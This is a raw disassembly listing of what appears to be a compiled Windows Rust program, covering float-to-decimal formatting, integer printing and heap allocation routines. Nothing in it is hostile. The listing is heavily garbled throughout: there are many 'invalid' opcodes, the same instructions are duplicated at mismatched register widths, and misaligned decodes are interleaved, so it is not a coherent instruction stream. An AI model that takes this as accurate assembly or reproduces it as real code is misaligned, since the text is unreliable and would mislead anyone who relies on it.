lea r8, str.librarycore_src_num_flt2decmod.rs
mov edx, 0x25
add byte [rax], al
add al, ch
adc eax, 0xf00061f
invalid
invalid
add byte [rdi], cl
invalid
add byte [rax], al
add al, ch
adc eax, 0xf00061f
invalid
invalid
add byte [rdi], cl
or ecx, dword [rax - 0x73]
lea rcx, [0x1400d7ddf]
invalid
lea rcx, [0x1400d7ddf]
lea r8, str.librarycore_src_num_flt2dec_strategygrisu.rs
mov edx, 0x1c
sbb al, 0
add byte [rax], al
sbb al, 0
add byte [rax], al
call fcn.1400a9e70
ud2
lea r8, str.librarycore_src_num_bignum.rs
mov edx, 0x28
mov rcx, r12
call fcn.1400a9df0
ud2
lea r8, str.librarycore_src_num_flt2dec_strategydragon.rsassertion_failed:_d.mant___0
mov rcx, rbp
mov rdx, rsi
call fcn.1400a9df0
ud2
lea rcx, str.assertion_failed:_noborrowassertion_failed:_digits___40assertion_failed:_other___0
lea r8, str.librarycore_src_num_bignum.rs
mov edx, 0x1a
call fcn.1400a9e70
ud2
lea r8, str.librarycore_src_num_flt2dec_strategydragon.rsassertion_failed:_d.mant___0
mov rcx, rbp
call fcn.1400a9df0
ud2
lea r8, str.librarycore_src_num_flt2dec_strategydragon.rsassertion_failed:_d.mant___0
mov rcx, rbp
mov rdx, rsi
call fcn.1400a9df0
ud2
add al, byte [rax]
add byte [rax], al
cmp r11, r9
cmp ebx, ecx
cmp ebx, ecx
mov r12d, 1
cmove rsi, r12
hlt
add r10, 3
add byte [rax], al
add byte [rcx + 0xf], cl
hlt
hlt
hlt
test rdx, rdx
cmove r10, rsi
cmove edx, esi
cmove edx, esi
invalid
dec r10
lea rdx, [0x1400ef744]
movsxd r9, dword [rdx + r10*4]
xchg edx, eax
xchg edx, eax
add r9, rdx
jmp r9
mov r11b, 3
jmp 0x1400480fb
mov r11b, 4
jmp 0x1400480fb
lea ecx, [r11 - 2]
movzx edx, cl
cmp dl, 3
mov ecx, 3
cmovb ecx, edx
test cl, cl
je 0x140048180
mov r15, rax
shr r15, 0x3f
test rax, rax
lea rax, [0x1400e34d9]
lea rdx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
cmovs rdx, rax
lea r14, [0x1400d85c2]
cmovs r14, rax
test r8b, r8b
cmove r14, rdx
mov edx, 1
cmovne r15, rdx
cmp cl, 1
je 0x1400481c1
movzx eax, cl
cmp eax, 2
jne 0x1400481f3
mov word [rsp + 0x1b0], 2
lea rax, [0x1400e34da]
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x1c0], 1
jmp 0x1400481e6
mov word [rsp + 0x1b0], 2
lea rax, [0x1400d85c3]
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x1c0], 3
mov edx, 1
lea rax, [rsp + 0x1b0]
lea r14, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
xor r15d, r15d
jmp 0x140049915
mov word [rsp + 0x1b0], 2
lea rax, [0x1400d85c6]
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x1c0], 3
lea rax, [rsp + 0x1b0]
jmp 0x140049915
test rbx, rbx
je 0x140049ad9
lea rsi, [r12 + rbx]
mov rax, rsi
shr rax, 0x20
mov rcx, rsi
shl rcx, 0x20
lea edx, [rbp - 0x20]
test rax, rax
cmovne rcx, rsi
cmovne edx, ebp
mov rax, rcx
shr rax, 0x30
mov r8, rcx
shl r8, 0x10
lea r9d, [rdx - 0x10]
test rax, rax
cmovne r8, rcx
cmovne r9d, edx
mov rax, r8
shr rax, 0x38
mov rcx, r8
shl rcx, 8
lea edx, [r9 - 8]
test rax, rax
cmovne rcx, r8
cmovne edx, r9d
mov rax, rcx
shr rax, 0x3c
mov r9, rcx
shl r9, 4
test rax, rax
cmovne r9, rcx
lea eax, [rdx - 4]
cmovne eax, edx
mov rcx, r9
shr rcx, 0x3e
lea r10, [r9*4]
lea r8d, [rax - 2]
test rcx, rcx
cmovne r10, r9
cmovne r8d, eax
xor ecx, ecx
test r10, r10
setns cl
shl r10, cl
sub r8d, ecx
lea rax, [rbx - 1]
mov qword [rsp + 0x450], rax
mov word [rsp + 0x458], bp
mov ecx, ebp
sub cx, r8w
js 0x140049af3
and ecx, 0x3f
mov rdx, 0xffffffffffffffff
shr rdx, cl
mov r9, rdx
and r9, rax
mov qword [rsp + 0x4f8], r9
cmp rax, rdx
ja 0x140049aae
mov qword [rsp + 0x198], r14
mov qword [rsp + 0x1a0], r15
mov qword [rsp + 0x1a8], rdi
mov qword [rsp + 0x190], rsi
mov qword [rsp + 0xa8], r12
mov qword [rsp + 0x80], r11
shl rax, cl
mov qword [rsp + 0x450], rbx
mov word [rsp + 0x458], bp
mov r9, rdx
and r9, rbx
mov qword [rsp + 0x4f8], r9
cmp rbx, rdx
ja 0x140049aae
mov edx, 0xffffffa0
sub edx, r8d
movsx edx, dx
lea edx, [rdx + rdx*4]
shl edx, 4
add edx, 0x153b0
imul r9, rdx, 0x7b4dc993
mov qword [rsp + 0x188], rbx
mov rdx, rbx
shl rdx, cl
shr r9, 0x26
and r9d, 0xfffffff0
lea rcx, [0x1400d7ec0]
mov r15, qword [r9 + rcx]
movzx r11d, word [r9 + rcx + 0xa]
mov dword [rsp + 0x30], r11d
mov r11, r10
shr r11, 0x20
mov rsi, r11
mov qword [rsp + 0xb0], r11
mov r10d, r10d
mov ebx, r15d
shr r15, 0x20
mov r11, r15
imul r11, r10
mov qword [rsp + 0x48], r11
mov r13, rbx
imul r13, rsi
imul r10, rbx
shr r10, 0x20
mov esi, r13d
add rsi, r10
mov edi, r11d
add rdi, rsi
add r8w, word [r9 + rcx + 8]
mov r14, rax
shr r14, 0x20
mov eax, eax
mov r9, r15
imul r9, r14
mov qword [rsp + 0x40], r9
mov r11, r15
imul r11, rax
imul r14, rbx
imul rax, rbx
shr rax, 0x20
mov r9d, r14d
add r9, rax
mov r10d, r11d
add r10, r9
mov r9d, edx
mov rsi, rdx
shr rsi, 0x20
mov r12, r15
imul r12, r9
mov rcx, rbx
imul rcx, rsi
imul rbx, r9
shr rbx, 0x20
mov edx, ecx
add rdx, rbx
mov ebx, r12d
add rbx, rdx
mov rdx, r15
imul rdx, qword [rsp + 0xb0]
sub rdi, 0xffffffff80000000
shr r13, 0x20
mov rax, qword [rsp + 0x48]
shr rax, 0x20
shr rdi, 0x20
neg r8d
sub r10, 0xffffffff80000000
shr r14, 0x20
mov qword [rsp + 0x70], r14
shr r11, 0x20
mov qword [rsp + 0x78], r11
shr r10, 0x20
mov r9, r15
mov qword [rsp + 0x178], rsi
imul r9, rsi
sub rbx, 0xffffffff80000000
shr rcx, 0x20
mov qword [rsp + 0x170], rcx
add r9, rcx
shr r12, 0x20
mov qword [rsp + 0x98], r13
mov qword [rsp + 0x88], rdx
lea rcx, [rdx + r13]
mov qword [rsp + 0x48], rax
add rcx, rax
lea r11, [rdi + rcx]
inc r11
and r8d, 0x3f
mov qword [rsp + 0x38], r11
mov ecx, r8d
shr r11, cl
mov edx, 1
shl rdx, cl
mov qword [rsp + 0x168], r12
add r9, r12
shr rbx, 0x20
mov qword [rsp + 0x180], rdx
lea r12, [rdx - 1]
cmp r11d, 0x2710
mov qword [rsp + 0xa0], rbp
mov qword [rsp + 0x90], rdi
jae 0x14004851f
cmp r11d, 0x64
jae 0x14004854a
cmp r11d, 0xf4240
jae 0x14004884d
mov qword [rsp + 0x450], r14
mov qword [rsp + 0x458], r15
mov qword [rsp + 0x460], rax
mov qword [rsp + 0x468], rdx
lea rdx, [rsp + 0x450]
mov rcx, rdi
call 0x1400464f0
nop
add rsp, 0x648
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x1b0], 0
lea rcx, [rsp + 0x4f8]
lea rdx, [rsp + 0x450]
lea r8, [rsp + 0x1b0]
call fcn.1400a9ec0
ud2
lea rcx, [0x1400d7ddf]
lea r8, str.librarycore_src_num_flt2dec_strategygrisu.rs
mov edx, 0x1c
call fcn.1400a9e70
ud2
lea rcx, [0x1400d7c3e]
lea r8, [0x1400d7c80]
mov edx, 0x1d
call fcn.1400a9e70
ud2
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call r12
and r13, 0xfffffffffffffff8
mov rdi, r13
je 0x14004a5e1
mov r13, qword [rdi]
mov eax, r13d
and eax, 7
mov qword [rsp + 0x30], rax
and al, 0x30
cmp rax, 1
jne 0x14004a758
add byte [rax], al
mov r14, qword [rdi + 0x818]
cmp r14, 0x41
jae case.0x1400279e4.414
and ecx, 1
add byte [rax], al
and ecx, 1
add byte [rax], al
test r14, r14
je 0x14004a550
lea rbp, [rdi + 0x18]
lea ebp, [rdi + 0x18]
shl r14, 5
xor esi, esi
invalid
movups xmm0, xmmword [rbp + rsi]
xor eax, 0x4c100f00
xor eax, 0x4c290f10
invalid
invalid
invalid
movups xmm1, xmmword [rbp + rsi + 0x10]
movaps xmmword [rsp + 0x60], xmm1
and al, 0x60
and al, 0x60
movaps xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x1400dfa30]
jne case.0x140023dd5.366
push rsp
or dword [rax], eax
movups xmmword [rbp + rsi], xmm0
movups xmm0, xmmword [0x1400dfa40]
add eax, 0x95479
jns case.0x14001b912.396
or dword [rax], eax
movups xmmword [rbp + rsi + 0x10], xmm0
adc dword [rbp + rsi + 0x10], eax
mov rcx, rbx
mov ecx, ebx
fcos
push rsp
call qword [rsp + 0x50]
and al, 0x50
add rsi, 0x20
cmp r14, rsi
cmp esi, esi
div byte [rbp - 0x3c]
jne case.0x14001bc32.397
jmp 0x14004a550
invalid
mov rcx, qword [r15 + 0x80]
pop qword [rax + 0x49000000]
add byte [rax], 0
add byte [rcx - 0x77], cl
enter 0xffffffffffff8349, 0xffffffffffffffe0
invalid
invalid
mov r8, rcx
mov eax, ecx
and r8, 0xfffffffffffffff8
and eax, 0xfffffff8
clc
mov rdx, qword [r8 + 0x810]
add byte [rax], al
mov r14, rdx
mov esi, edx
and r14, 0xfffffffffffffff8
and esi, 0xfffffff8
je 0x14004a701
inc byte [rax]
add byte [rax], al
invalid
add byte [rax - 0x73], cl
lea rdi, [rsp + 0x60]
lea edi, [rsp + 0x60]
jl case.0x1400279e4.358
invalid
lea rbx, [rsp + 0x38]
pop rsp
and al, 0x38
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
and eax, 0x65df4
hlt
add bl, ch
jmp case.0x140075b85.381
sub al, 0x66
nop dword cs:[rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, qword [r15 + 0x80]
add byte [rax], 0
add byte [rax], al
add byte [rcx - 0x77], cl
mov r8, rcx
enter 0xffffffffffff8349, 0xffffffffffffffe0
clc
and r8, 0xfffffffffffffff8
and eax, 0xfffffff8
mov rdx, qword [r8 + 0x810]
nop
adc byte [rax], cl
or byte [rax], al
invalid
or byte [rax], al
add byte [rcx - 0x77], cl
mov r14, rdx
mov esi, edx
invalid
and r14, 0xfffffffffffffff8
and esi, 0xfffffff8
clc
je 0x14004a701
test byte [rdi + 0x48000000], bh
add byte [rax], al
add byte [rax - 0x77], cl
mov rax, rcx
mov eax, ecx
enter 0x49f0, 0xf
lock cmpxchg qword [r15 + 0x80], rdx
cmpxchg qword [r15 + 0x80], rdx
mov cl, 0x97
add byte [rax], 0
add byte [rax], al
add byte [rbp - 0x30], dh
jne case.0x1400279e4.405
ror byte [rcx - 0x75], 1
xchg dword [rax], eax
invalid
mov rax, qword [r15 + 0x100]
mov eax, dword [rdi + 0x100]
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
add byte [rax + 0x39], cl
cmp rcx, rax
cmp ecx, eax
sal dword [rbp + 0xc], 0x48
mov eax, ecx
invalid
jne 0x14004a668
mov rax, rcx
enter 0x49f0, 0xf
lock cmpxchg qword [r15 + 0x100], rdx
cmpxchg qword [r15 + 0x100], rdx
mov cl, 0x97
xchg edi, eax
add byte [rcx], al
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
add byte [rax], al
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
or eax, 0xaeb89
mov ebx, ebp
or al, byte [rax]
add byte [rcx], dh
xor edx, edx
call r12
call rsp
rol byte [rcx - 1], cl
call rsp
invalid
lea rdx, [r14 + 0x10]
lea edx, [rsi + 0x10]
push rsi
adc byte [rcx + 0xf], al
invalid
movups xmm0, xmmword [r14]
movups xmm0, xmmword [rsi]
adc byte [rsi], al
mov rsi, qword [r14]
movaps xmmword ss:[rsp + 0x50], xmm0
movaps xmmword [rsp + 0x50], xmm0
sub dword [rsp + 0x50], eax
and al, 0x50
and al, 0x50
push rax
mov r8d, 0x800
mov eax, 0x800
add byte [rax - 0x77], cl
mov rcx, rdi
mov ecx, edi
stc
call sub.VCRUNTIME140.dll_memmove
imul edi, dword [rdi - 0x7ab7fffb], 0xfffffff6
add eax, 0xf6854800
test rsi, rsi
div byte [rdx + rbp*2 + 0x4c]
je 0x14004a701
push 0x4c
mov r14, qword [rsp + 0x850]
mov esi, dword [rsp + 0x850]
mov ah, 0x24
push rax
or byte [rax], al
add byte [rcx - 0x7d], cl
cmp r14, 0x41
cmp esi, 0x41
inc byte [rcx + 0xf]
jae case.0x1400279e4.414
jae case.0x1400279e4.414
or ecx, 0
add byte [rax], al
add byte [rax], al
add byte [rbp - 0x7b], cl
test esi, esi
invalid
invalid
outsb dx, byte [rsi]
test r14, r14
test esi, esi
je case.0x1400279e4.405
test byte [rsi - 1], ch
invalid
invalid
dec dword [rcx - 0x3f]
out 5, al
invalid
shl r14, 5
shl esi, 5
add eax, 0x1f0ff631
xor esi, esi
test byte [rdi], 0x1f
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
movups xmm0, xmmword [rsp + rsi + 0x50]
xor al, 0x50
xor al, 0x50
movups xmm1, xmmword [rsp + rsi + 0x60]
adc byte [rsp + rsi + 0x60], cl
xor al, 0x60
invalid
movaps xmmword [rsp + 0x40], xmm1
and al, 0x40
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x30], xmm0
sub dword [rsp + 0x30], eax
and al, 0x30
movups xmm0, xmmword [0x1400dfa30]
add eax, 0x95355
push rbx
or dword [rax], eax
movups xmmword [rsp + rsi + 0x50], xmm0
xor al, 0x50
push rax
movups xmm0, xmmword [0x1400dfa40]
add eax, 0x95359
pop rcx
push rbx
or dword [rax], eax
invalid
add byte [rdi], cl
movups xmmword [rsp + rsi + 0x60], xmm0
adc dword [rsp + rsi + 0x60], eax
xor al, 0x60
mov rcx, rbx
call qword [rsp + 0x30]
and al, 0x30
fcos
push rsp
and al, 0x30
xor byte [rax - 0x7d], cl
add rsi, 0x20
cmp r14, rsi
div byte [rbp - 0x3c]
invalid
and byte [rcx + 0x39], cl
div byte [rbp - 0x3c]
jmp case.0x1400279e4.405
invalid
invalid
dec dword [rbp - 0x75]
xchg dword [rax + 0x49000000], eax
add byte [rax], 0
invalid
invalid
mov r8, qword [r15 + 0x80]
mov eax, dword [rdi + 0x80]
add byte [rax], 0
add byte [rax], al
add byte [rcx - 0x7d], cl
and r8, 0xfffffffffffffff8
and eax, 0xfffffff8
loopne case.0x14002615d.346
mov rcx, qword [0x1400f91f8]
in eax, 0xea
or al, byte [rax]
invalid
add byte [rcx], dh
xor edx, edx
sar bh, cl
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x65ced
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x28]
and al, 0x28
and al, 0x28
mov rax, qword [rax]
cmp rax, 0xffffffffffffffff
clc
invalid
je 0x14004a743
invalid
add byte [rax - 0x7d], cl
clc
push qword [rdx + rbx - 0x10]
sbb dh, al
lock dec qword [rax + 8]
dec qword [rax + 8]
dec dword [rax + 8]
jne 0x14004a743
mov r8, qword [rax - 8]
clc
mov rcx, qword [0x1400f91f8]
or eax, 0xaeabd
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x65cc5
adc eax, 0x65cc5
invalid
add byte [rax + 0x68c48148], dl
or byte [rax], al
add byte [rbx + 0x5d], bl
pop rbp
nop
add rsp, 0x868
invalid
push 0x5b000008
invalid
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rdi
pop rdi
ret
mov qword [rsp + 0x50], 0
and al, 0x50
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea ecx, [rsp + 0x30]
lea rcx, [rsp + 0x30]
lea ecx, [rsp + 0x30]
xor byte [rax - 0x73], cl
push rsp
and al, 0x50
lea rdx, [rsp + 0x50]
call fcn.1400aac00
invalid
ud2
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fcrossbeam_epoch_0.9.15_srcinternal.rs
push rdx
or dword [rax], eax
mov edx, 0x40
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
mov rcx, r14
call fcn.1400a9df0
push 0xfffffffffffffff6
add eax, 0xcc0b0f00
ud2
int3
int3
ud2
int3
push rdi
sub rsp, 0xb8
mov r10, rdx
add byte [rax], al
add byte [rcx - 0x77], cl
ror byte [rax - 0x75], cl
invalid
invalid
mov rax, qword [rcx]
mov ecx, dword [rdx + 0x34]
add dword [rbx - 0x3e09cbb6], ecx
adc byte [rdi], cl
test cl, 0x10
jne case.0x14004ab59.194
test ebx, edx
add byte [rax], al
invalid
test ebx, edx
add byte [rax], al
add dh, dh
shl dword [rax], 0xf
jne case.0x140027163.217
invalid
invalid
test cl, 0x20
jne case.0x140027163.217
add byte [rax], al
mov rcx, qword [rax]
mov eax, 0x27
or byte [rax + 0x27], bh
cmp rcx, 0x2710
stc
adc byte [rdi], ah
add byte [rax], al
invalid
add byte [rdi], cl
invalid
jb 0x14004a94f
add dword [rax], eax
add byte [rcx - 0x45], al
invalid
mov r11d, 0x27
movabs r8, 0x346dc5d63886594b
pop rcx
xchg byte [rax], bh
invalid
invalid
insd dword [rdi], dx
xor al, 0x4c
lea ecx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
or dword [rax], eax
add byte [rcx - 0x48], cl
pop r9
pop rcx
pop rcx
xchg byte [rax], bh
invalid
invalid
or dword [rax], eax
mov rax, rcx
mul r8
enter 0xfffffffffffff749, 0xffffffffffffffe0
shr rdx, 0xb
imul eax, edx, 0x2710
add byte [rax], al
add byte [rax], al
mov esi, ecx
sub esi, eax
imul edi, esi, 0x147b
jnp 0x14004a80c
add byte [rax], al
jnp 0x14004a80c
add byte [rax], al
shr edi, 0x13
imul eax, edi, 0x64
invalid
sub esi, eax
adc ebp, dword [rbx - 0x39]
sub esi, eax
invalid
movzx esi, si
lea rax, [r11 - 4]
lea eax, [rbx - 4]
lea eax, [rbx - 4]
cld
movzx edi, word [r9 + rdi*2]
cmp al, 0x79
mov word [rsp + r11 + 0x34], di
sbb al, 0x34
movzx esi, word [r9 + rsi*2]
mov word [rsp + r11 + 0x36], si
sbb al, 0x36
mov bh, 0x34
jno case.0x1400279a8.222
mov dword [rsp + r11 + 0x36], esi
sbb al, 0x36
mov r11, rax
mov r11, rax
cmp rcx, 0x5f5e0ff
cmp ecx, 0x5f5e0ff
loopne case.0x1400279a8.234
add eax, 0x77d18948
mov dl, 0x48
cmp rdx, 0x63
mov rcx, rdx
ja 0x14004a7e0
cmp rdx, 0x63
jbe case.0x140027163.256
xor dword [rdi], ecx
mov bh, 0xca
invalid
movzx ecx, dx
retf 0xe9c1
shr ecx, 2
imul ecx, ecx, 0x147b
add byte [rax], al
add ch, byte [rcx - 0x37]
jnp case.0x1400279e4.421
add byte [rax], al
shr ecx, 0x11
imul r8d, ecx, 0x64
imul eax, ecx, 0x64
adc dword [rbx + rbp*2 - 0x3f], eax
imul eax, ecx, 0x64
sub edx, r8d
sub edx, r8d
ret 0xb70f
movzx edx, dx
lea r8, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
lea eax, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
lea eax, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
add eax, 0x9bf4c
or dword [rax], eax
movzx edx, word [r8 + rdx*2]
mov bh, 0x14
push rax
mov word [rsp + rax + 0x36], dx
mov dword [rsp + rax + 0x36], edx
add rax, 0xfffffffffffffffe
add eax, 0xfffffffe
mov rdx, rcx
cmp rdx, 0xa
cmp edx, 0xa
or cl, byte [rdi]
jae 0x14004a961
xor edx, 0
add byte [rax], al
invalid
add byte [rax + 0x548830c2], al
add dl, 0x30
ret 0x8830
mov byte [rsp + rax + 0x37], dl
push rsp
add al, 0x37
invalid
dec rax
jmp 0x14004a975
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
mov rdx, qword [rax]
mov r8d, 0x81
mov eax, 0x81
adc byte [rcx - 0x48], al
add dword [rax], 0x30b80000
invalid
invalid
invalid
mov eax, 0x81
add byte [rax + 0x30], bh
mov eax, 0x30
add byte [rax], al
add byte [rcx - 0x77], cl
mov r9, rdx
nop
rcl dword [rax + 0x49c1894c]
mov rcx, r8
mov ecx, eax
ror dword [rcx - 0x3f], 0xe9
shr r9, 4
shr ecx, 4
add al, 0x41
mov eax, edx
mov r8d, edx
and r8b, 0xf
loopne 0x14004a8ad
cmp r8b, 0xa
cmp al, 0xa
mov r11d, 0x57
add byte [rax], al
add byte [rdi + rcx + 0x42], al
fadd dword [rbp]
cmovb r11d, eax
add r11b, r8b
ret
fadd dword [rbp]
add bl, al
ret
mov byte [rsp + rcx + 0x36], r11b
or al, 0x36
lea r8, [rcx - 1]
lea eax, [rcx - 1]
dec dword [r8 - 0x7d]
cli
adc byte [rcx + rcx*4 - 0x36], cl
mov edx, ecx
cmp rdx, 0x10
mov rdx, r9
mov edx, ecx
mov edx, ecx
retf 0xcf73
jae 0x14004a890
iretd
jmp 0x14004a911
mov rdx, qword [rax]
mov rdx, qword [rax]
mov r8d, 0x81
mov eax, 0x30
add byte [rax], al
invalid
add dword [rax], 0x30b80000
add byte [rax + 0x30], bh
add byte [rax], al
add byte [rcx - 0x77], cl
invalid
mov r9, rdx
mov ecx, edx
shl dword [rsi + 0x66], 1
nop word cs:[rax + rax]
nop word cs:[rax + rax]
invalid
add byte [rax], al
mov rcx, r8
mov ecx, eax
ror dword [rcx - 0x3f], 0xe9
shr r9, 4
shr ecx, 4
add al, 0x41
mov eax, edx
invalid
mov r8d, edx
rol byte [rcx - 0x80], 1
and r8b, 0xf
loopne 0x14004a8fd
cmp r8b, 0xa
cmp al, 0xa
mov r11d, 0x37
invalid
add byte [rax], al
cmovb r11d, eax
fadd dword [rbp]
add r11b, r8b
add bl, al
ret
mov byte [rsp + rcx + 0x36], r11b
or al, 0x36
lea r8, ss:[rcx - 1]
lea r8, [rcx - 1]
lea eax, [rcx - 1]
dec dword [r8 - 0x7d]
cmp rdx, 0x10
mov rdx, r9
invalid
cli
adc byte [rcx + rcx*4 - 0x36], cl
invalid
retf 0xcf73
jae 0x14004a8e0
iretd
add rcx, 0xfffffffffffffffe
add ecx, 0xfffffffe
sar esi, 0x48
cmp ecx, 0x80
invalid
cmp rcx, 0x80
add byte [rdi], cl
xchg dword [rax + rax - 0x7e480000], ecx
mov word [rax], es
add byte [rax], al
invalid
invalid
add byte [rax], al
ja case.0x140026cbd.371
mov word [rax], es
add byte [rax], al
add byte [rax + 0x81], bh
mov eax, 0x81
add byte [rax], al
mov eax, 0x81
add byte [rcx + rbp - 0x40], cl
sub rax, r8
ror byte [rax + 1], 0xe1
add rcx, rsp
add ecx, esp
add rcx, 0x38
add ecx, 0x38
sar dword [rax], 0x48
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
and al, 0x28
mov qword [rsp + 0x20], rcx
lea r8, [0x1400e3759]
lea eax, [0x1400e3759]
lea eax, [0x1400e3759]
invalid
mov cs, word [rcx]
add byte [rcx - 0x47], al
add al, byte [rax]
mov r9d, 2
mov ecx, 2
add byte [rax], al
mov rcx, r10
mov dl, 1
invalid
sal dword [rdx + 0x484feb01], 1
mov edx, ecx
add ebx, ebp
jmp 0x14004a99e
mov rdx, rcx
mov rdx, rcx
cmp rdx, 0x63
ja 0x14004a834
invalid
jmp case.0x140027163.256
invalid
invalid
dec dword [rax - 0x73]
lea rcx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
lea ecx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
or eax, 0x9be38
or dword [rax], eax
movzx ecx, word [rcx + rdx*2]
mov bh, 0xc
push rcx
mov word [rsp + rax + 0x36], cx
add al, 0x36
add rax, 0xfffffffffffffffe
add eax, 0xfffffffe
sar dh, 0x48
lea ecx, [rsp + rax]
lea rcx, [rsp + rax]
add rcx, 0x38
mov edx, 0x27
invalid
add byte [rax], al
invalid
invalid
sub rdx, rax
ret 0x8948
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x28], edx
sub byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
mov qword [rsp + 0x20], rcx
and al, 0x20
and byte [rbp + rcx*4 + 5], cl
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
ret 0xa38
or al, byte [rax]
mov rcx, r10
mov dl, 1
add dword [rbp + 0x31], eax
leave
add dword [rbp + 0x31], eax
leave
call fcn.1400416f0
nop
add rsp, 0xb8
add esp, 0xb8
insd dword [rdi], dx
invalid
call qword [rax - 0x473b7eb8]
add byte [rax], al
add esp, 0xb8
invalid
add byte [rax], al
add byte [rdi + 0x5e], bl
pop rdi
pop rsi
ret
lea r8, [0x1400d8a18]
add eax, 0x8e063
loopne 0x14004a9bc
add byte [rdx + 0x80], bh
mov edx, 0x80
add byte [rax], al
add al, ch
xor ebx, esi
call fcn.1400a9cf0
add eax, 0xcc0b0f00
add eax, 0xcc0b0f00
ud2
or ecx, esp
int3
int3
int3
push rbx
sub rsp, 0x20
in al, dx
invalid
in al, dx
and byte [rax - 0x75], cl
mov rax, qword [rcx]
mov rbx, qword [rax]
mov rdi, qword [rax + 8]
invalid
add dword [rax - 0x75], ecx
sbb byte [rax - 0x75], cl
js 0x14004a9e9
invalid
or byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
test rbx, rbx
invalid
mov qword [rax], 0
mov dword [rax], 0
add byte [rax], al
test rbx, rbx
test ebx, ebx
je 0x14004ab03
test byte [rdx], dl
add dword [rax], eax
add byte [rdi], cl
movzx eax, byte [0x1400f92c0]
mov dh, 5
enter 0xae8, 0
invalid
or al, byte [rax]
add eax, 0xae8c8
call 0xcb4caa04
or eax, 0xae7f9
stc
out 0xa, eax
invalid
or al, byte [rax]
mov rcx, qword [0x1400f91f8]
stc
out 0xa, eax
add byte [rax - 0x7b], cl
test rcx, rcx
leave
jne 0x14004aa1d
sbb edi, edi
adc eax, 0x659e6
out 0x59, al
invalid
invalid
call qword [sym.imp.kernel32.dll_GetProcessHeap]
out 0x59, al
invalid
test rax, rax
je case.0x140075b85.450
add byte [rax], al
ror byte [rdi], 0x84
invalid
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 5
invalid
invalid
invalid
mov rcx, rax
mov qword [0x1400f91f8], rax
mov dword [0x1400f91f8], eax
add byte [rcx - 0x48], al
sbb byte [rax], cl
or byte [rax], al
invalid
mov r8d, 0x818
add byte [rcx], dh
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
adc eax, 0x659cd
sar bh, cl
adc eax, 0x659cd
int 0x59
invalid
test rax, rax
je case.0x140075b85.450
lodsd eax, dword [rsi]
add byte [rax], al
add byte [rax], al
ror byte [rdi], 0x84
test byte [rbp + 0x48000000], ch
mov esi, eax
lodsd eax, dword [rsi]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov rsi, rax
mov qword [rax + 0x810], 0
mov dword [rax + 0x810], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
invalid
mov dh, 5
movzx eax, byte [0x1400f92c0]
ja 0x14004aa2f
call 0xcb4caa55
or al, byte [rax]
add byte [rax - 0x75], cl
mov rcx, qword [0x1400f91f8]
or eax, 0xae7a8
test rcx, rcx
leave
jne 0x14004aa6e
sbb edi, edi
adc eax, 0x65995
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
test eax, eax
je case.0x14004ab59.253
test byte [rsi + 0x48000000], cl
mov ecx, eax
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rax
ror dword [rax - 0x77], 5
mov qword [0x1400f91f8], rax
mov dword [0x1400f91f8], eax
add eax, 0xae78a
mov ah, bh
or al, byte [rax]
mov r8d, 0x300
add byte [rax], al
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
adc eax, 0x6597c
sar bh, cl
adc eax, 0x6597c
jl 0x14004aad3
invalid
test rax, rax
sal byte [rcx + rsi*2 + 0x48], 0x89
ror dword [rax - 0x7d], 0xe1
and rcx, 0xffffffffffffff80
invalid
invalid
xchg ecx, eax
je case.0x14004ab59.253
jno 0x14004aaca
